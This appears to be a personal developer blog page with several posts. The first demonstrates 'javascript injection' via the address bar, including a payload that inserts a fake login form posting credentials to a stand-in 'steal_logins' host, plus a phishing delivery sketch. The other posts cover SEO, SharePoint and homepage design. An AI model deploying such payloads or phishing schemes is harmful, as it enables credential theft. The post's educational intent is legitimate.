Hack My Web Site (using JavaScript Injection)

Wow. I like to keep myself educated on how people are hacking stuff so I can build secure solutions, but I may have bumped into a hack that is pretty darned smart and takes a bit of a techy to at least detect. Many of you may have heard about SQL Injection, where you put sql queries into an inputbox and the standard errors end up coming back telling you more information than you should get to know about the database behind a web site. Well this blog article is about how to take over part of a web site and spoof parts of the page using a technique called javascript injection. I will show you how it works, the likely way it will be implemented and how to watch for it.

To start: How it works. First off, understand this is an internet browser hack, and not a web site hack, so unless developers of internet browsers change how stuff works today, this technique should work going forward, dispite what people do on their site to dodge this. Understand that what I am about to tell you is educational with the hope that you education friends and family about how this works so they can avoid being attacked.

IF YOU DO ANY OF THIS, YOU COULD GET ARRESTED BECAUSE YOU WOULD BE BREAKING THE LAW.

So, now, on with it. We are going to hack my web site: http://enginpost.com so pop another browser window and load that URL.

Most modern browsers give you the ability to enter javascript in the address bar for testing purposes. This inherent weakness is what we are about to exploit.

Here we go:

1. Click on my resume and notice where the content goes to on the webpage. If you were to examine the HTML under the page you would see that the content is being Fjaxed (like Ajax, but better) into the DIV with the ID "FlashJxContent." You can quickly view the content of whatever is currently in that DIV by pasting the following code into your browsers address bar:
   
   javascript: alert(document.getElementById('FlashJxContent').innerHTML)
   
2. That should show you the HTML inside the DIV. Now let's image my website was secure and people would come to it to login. I am a nasty human being and I want to harvest peoples login usernames and passwords. So what I want to do is create a fake form to gather this information and submit the details to a page on another website (where I gather the info and save it to my little database.) Since we know how to read the innerHTML of a DIV, we should be able to write to it as well.
3. I want to get a fake form into the DIV where the HTML looks something like:
   
   
   
   Enter Username:
   
   Enter Password:
   
   
   
   
   
   Notice that the form submits the results to another website. Horrible, right?
4. To get this form into an existing webpage, paste the following javascript into the URL:
   
   javascript:void(document.getElementById('FlashJxContent').innerHTML = " <form action='http:www.SomeTemporarySite.com/steal_logins.asp' method='get'> Enter Username: <input id='UID' type='text'><BR /> Enter Password: <input id='PWD' type='password'> <input type='submit' value='Login'> </form>")
   
   

Wow, huh? Notice that the title in the address bar shows that we are on the same site, even though the URL is a little wierd (but then again, how many users really understand what is going on in a URL?) If you wanted to change a few more areas of the page, the bad dude only has to add a semicolon after the double-quote and before the end parenthesis to add another line of javascript and write to another DIV at the same time.

HOW would this likely be implemented?

I hate to write this part because people could use this like instructions, so I won't go into a ton of specific detail, but basically...

If someone sent out an email saying you need to go to your account and fix something at your bank, the link could say "login to your bank" in your HTML-enabled email, but really point to that nasty website. The page that loads could say "loading Your Community Bank secure login..." and pop another window that hides the address bar. This window would really load your banks website. Then a few seconds later the original page would load the javascript into the location on that other popped page (I have not tested this, but I think I would work, since we opened the page to begin with.) At that point you would be on your banks website but filling out a form that really has nothing to do with your website.

HOW do you gaurd family and friends against this?

1. Tell them not to fill out web forms that don't show the address in the address bar of the browser. if the URL seems funny, don't use the form.
2. Watch for the address to where the form submits. If you hover over the submit button, notice that it tells you that it is headed away from the enginpost website (in the above example.) The average Joe may not be aware of this and it may seem a little techy a thing to do, but these days, that may yet be required.

Other than that, there isn't much more we can do to protect ourselves from this hack.

Why Images As Links Are Better Than Text As Links

This is a hugely debated topic, the biggest argument against this technique of using images as link buttons being that large (kb size) graphic-ladden pages unnecessarily clog the bandwidth. The other very popular argument is the new _old_skool where some people want the web to looks and feel like a circa 1980s BBS. I think I can shed a little light on why I can get all the bang of a thin-web technique with a powerful combo of benefits in usability and SEO (search engine optimization, for any newbies out there.)

One of the most popularly overlooked indexed realities on the web is the graphic, specifically the IMG tag. Nobody is going to create an IMG tag without defining its SRC attribute, but I know plenty of people who do not go back and fill in the ALT attribute (side note: the ALT is an attribute of the IMG tag, and I have heard a number of people refer to the "ATL tag" and when we talk like this we are mixing our metaphors. Technically, ALT is meant to define alternate text definition for the image the IMG tag is displaying. Some people like to imagine that by filling in the ALT attribute they are "socially tagging" their image. While that may be true, most people are actually refering to HTML syntax and not social tagging, so, if you are having a technical discussion about HTML tags, please refer to it as the ALT attribute.) In some cases this actually makes sense. Since a screen reader will read through the HTML tags on a page, if you don't fill in some of the tags for images that create layout but do not communicate something specific, then it might be better to leave the ALT attributes blank. But in many cases it is just more important to go ahead and give an alternative definition to the image. With this in mind, lets consider how a search engine indexes a website.

The most popularly acknowledged technique for a search engine in indexing a page is that a crawler hunts down the "A" tags on a page and associates the text within the "A" tag with the HREF attribute in the "A" tag. Simple, right? What if the "text" inside the "A" tag is an IMG that says "Read Me" in the graphic (I don't advocate this technique in text, since it does not clue the reader into what they would be reading about). What will the search engine index on? If you didn't have a graphic and just had text that said "read me" then if someone did a search on "read me" at google, your link would come up. How horrible is that? Let me tell you. That is bad. So, number one for SEO would be a text link that actually describes what you are clicking on (eg. click to read more about Search Engine Optimization ). But, if you want to use a graphic, then create a single graphic that you can reuse (that the browser will cache and continue to reference without multiple downloads) but set the ALT attribute to something uber-meaningful. This way the search engine will associate your image ALT value with the URL in the "A" tag. You get some very optimized eyecandy with an excellent SEO value to boot.

In terms of usability, remember that people spend the majority of their time on the web looking for something. This is why the statistics show that the largest interaction on the web by an astounding degree is: a surfer hitting the back button. The most redundant and frustrating activity on the web is the negative experience of following a link and then saying to yourself, "well, not what I was looking for" then hitting the back button. You don't want to navigate your users into this black hole experience simply because you gave them links that did not do a good job at targeting/explaining the content at the other end of the link. The best way to avoid this is to optimize the link message. The worst example of this (you can read about this in my blog entry Click To Read More ) is the textual "read more" link. The best is to adjust the textual link to include the actual descriptive message in the link. But if you have a site that would work best if you used a graphical link, then remember to set the most descriptive value for the ALT attribute.

SharePoint Custom Form Doesn't Like ItemUpdating Custom Error

I have been searching for a week for a solution to this question (which I have posted all over the universe and am reposting here so that people will drop off their responses in one place, for me to check.)

Here is the situation:

In Sharepoint 2k7 have a custom list, with custom columns, and event handlers written in C#. Inside the event handler for the list event ItemUpdating, under a certain condition I want to throw a custom ErrorMessage and set the Cancel to true, so the list item will not update but send info the browser so the user knows what is up. From this same custom form I am able to throw a custom ErrorMessage from the ItemDeleting event or nearly any other event. Right now, it seems that while I can keep the item from updating, I can't display a custom message under the ItemUpdating event attached to a custom form.

You can view the frustrating C# ItemUpdating code.

If someone knows more about this and what the deal is, please, let me know.

UPDATE

I was able to talk to Microsoft Support and am still working through the issue toward resolution but a lot has been discovered. Understand that there are a number of potential failure points in this example (SharePoint 2007, SQL Server 2005, SharePoint Designer, etc.) and it takes a fairly low level of server-side event monitoring to trace where things might be going wrong. The failure in this case is very interesting. What appears (so far) to be happening is that when the custom event handler fires it does pass the custom ErrorMessage back to the SharePoint Site UI, but understand the SharePoint UI (or at least part of it, in this case) was co-created by me and SharePoint Designer when I customized the form. And since I created the custom form using Best Practices (it is a rediculously simple example that creates the failure), that narrows the culprit down to SharePoint Designer. This is what seems to be happening. Even though my custom ErrorMessage is being passed back to the SharePoint UI it gets handed to the custom Form I created with Designer which throws some error and then, in stead of showing my custom error, it shows the new Designer form error, hence the apparent loss of my custom ErrorMessage.

My best guess is that we will find out that either (1) SharePoint Designer didn't implement some interface to receive custom ErrorMessages from the custom Event code, OR (2) there is some not-yet published step in creating a custom form that binds Custom Error Messages to the custom Designer Form.

(If you want to experiment with this issue, you can download the sample custom list template I created for the MS Support team. As well you can author the custom list form with custom event completely from scratch by following these DIY instructions I wrote as well.)

I will update this entry one more time once we get the resolution on this issue.

NEARLY FINAL UPDATE

I was able to confirm with Microsoft that what I was experiencing was true. When the eventHandler passes a custom error message back to a customised SharePoint Designer 2007 form, the "designed" page throws an error and only displays that error (completely obliterating my custom error.) If you have been experiencing this, then welcome to MOSS 2007. After months of haggling, Microsoft asked me to write up a "business case justification" outlining how having this feature in a working state is critical to the adoption of their product. As a result, rather than issuing the fix inside a service pack sometime next year, they are putting it into a hotfix that should come out very soon (finally!)... don't hold your breath, however. I was told nearly six months ago that this would get "resolved" and then had to battle with two more levels of support arguing that this goofiness was "by design," and not a bug. After wearing them down they finally admitted it was in the queue for a fix and that they are looking at a hotfix now.

There's No Place Like Homepage

In an effort to preach to the choir a bit more (everybody always forgets the choir) I thought I would nit-pick about how people manage the purpose of their homepage. Now, while there is plenty of books on the topic, I thought I would point out a few typical ideas around design and content management as well as push a few pet peeve ideas out there (since this is my blog, I guess I can do that.)

The best way to address this for me will be to outline a number of ideas and then simply address them. So here we go.

“The homepage is the same as a landing page.”
This is wonderful though because it would simplify so much. It is, however, not true. A homepage is a type of landing page in the most simple of senses, but they are not the same. A “homepage” has a one to one relationship to a website. Every site should have a homepage and that homepage targets the users of a single website. A landing page is marketing speak for “the place people go when they arrive at your site in the middle of some campaign to elicit your interest.” The key is that a Homepage needs to target everyone coming to your site and immediately help them get to where they are going. It is like the person who greets you in a store and helps you to the right department. The common mistake here is that people treat the homepage like a department, which it is not. It is the greeter. But understand, it is both a meeter and a greeter. A greeting might only get you to where you are going, while a meeter will make you feel good about heading deeper into the store (through technique, tone, friendliness, helpfulness and approachability.) A landing page has a much tighter focus. It is a campaign focal point that is targeting a sub-demographic of a websites audience. The purpose here is often to create greater differentiation from your competitors and to drive them intuitively into a relationship to the topic of the landing page. The key with a landing page is to narrow the focus to one demographic angle.

“The homepage should be different from the interior content pages.”
This is somewhat true on a couple levels and completely untrue with regard to standards. For example, in terms of design, specifically layout of pages, you want to differentiate from homepage content hooks and real content. On the homepage you should not be hosting content. And by hosting, I mean there should not be content on the homepage that cannot be found anywhere else in an appropriate category (remember, the homepage is not a department.) The content on the homepage is meant to hook people to delve deeper and examine your site content more. They best way to “train” a reader is to create a visual delineation through design and specifically layout of the page. There are so many ways to do this, so rather than describe the world to you I will give a few hints on what not to do: Do not move or change your navigational tools. Navigation falls into a much larger category of standards and once you pick one navigational approach, it is better to leave them where the use can continue to expect them throughout the experience of your website. Do not move the search from the general upper right of your website. If you have included search functionality in your site, be sure it is and it stays in the upper right. The only thing worse than moving these standards is standardizing on your own new ways of doing certain things. It never makes sense to not change to a standard for fear that people will struggle with change. Even your oldest longest visitors are likely used to working with the right standards on sites other than yours. You are simply doing them a favor by updating to standards on your site. Do not switch from a simple narrow centered format on he homepage to a wide format on the interior pages. This rule can be broken but only when it makes sense. It usually does not make sense unless you are hosting content that only works in a very wide windowed format. Do not completely adopt a new color scheme for the interior content pages. You don’t want people to feel like they have left your website and moved on to a new one.

“Portal website homepages are like any other website homepage.”
This is true only in that they are both on the web. Other than that the rules completely change. Well, that is not entirely true but for those of us who are used to working with portal sites you will know that I am only slightly joking. A portal typically has to bring together what would normally seem like a functionally unified group, but who’s true social demographic is completely unreasonably different. This is where a lot of the normal bets are off on a portal. For example, on the homepage you are actually targeting summary types of information dissemination. People visit you because they know what you provide. While subordinate sites might try and target new visitors, the portal typically attempts to sort a huge amount of information. Navigation is the purpose of the portal website, not targeting audience. We are, instead, targeting content.

There is so much to say about good homepage design. Maybe you would like to contribute to this article by adding a comment of your thoughts. I will return from time to time and take the best of the comment and append them to this blog entry with credit to you if you are interested in contributing via comments.

Click To Read More

Here is a pet peeve of mine. Sites, in an effort to appear usable put the same consistent link at the bottom of each of the content hints on their site’s landing page: “read more.” The idea simply is that you are giving them a reasonable sample of what the content consists of and if they want to read the entire piece then they need to click that fancy little link if they want to “read more.” Now, I am likely preaching to the choir here by even mentioning the next two points, but I consistently see people make this error. (At the end of the blog I recommend a new standard, so if you remain interested in why this is a problem, then read on.) Here are two very simple problems with the “read more” technique:

“read more” (or “Full Story” or “click here”) at a quick glance tells me nothing about what I am about to read more about. Assuming most people are buzzing your landing page, in search of (1) interesting content that they can (2) immediately click on, seeing “read more” just makes me slow down to read what was above it. The entire experience of “read more” kills the speed in terms of approachability, of people getting to your real content. The lesson here is that one should always link from meaningful text, not from simply verb ideas. Yes, you want them to “read more” but they want to read about something, not just more.

The number one indexed property of your website is your links. And what is, in fact, indexed then if you are too commonly using phrases like “read more”? Unless you are attempting to break some world record on getting the most hits for sites that are indexed around the key phrase “read more,” I recommend never using that as your link text again. If a piece of content in your site is about “hiking with relatives” then the link text should contain words like that, and not “read more.” When was the last time someone you knew hit google or yahoo and searched for the phrase “read more about hiking with relatives?

Now, you can likely verbalize the recommendation I am about to make since it was embedded into both above points. When you create links to expanded content (and I highly recommend not putting content other than content highlights on landing pages, but that is another blog), link to the content using highly meaningful link text that you would prefer getting googled on and that is easy to read from a user’s perspective. So, as the final example, assume the last paragraph here is a content highlight with appropriate link text:

Florida housing sex offenders under bridge
The sparkling blue waters off Miami's Julia Tuttle Causeway look as if they were taken from a postcard. But the causeway's only inhabitants see little paradise in their surroundings. Five men -- all registered sex offenders convicted of abusing children -- live along the causeway because there is a housing shortage for Miami's least welcome residents.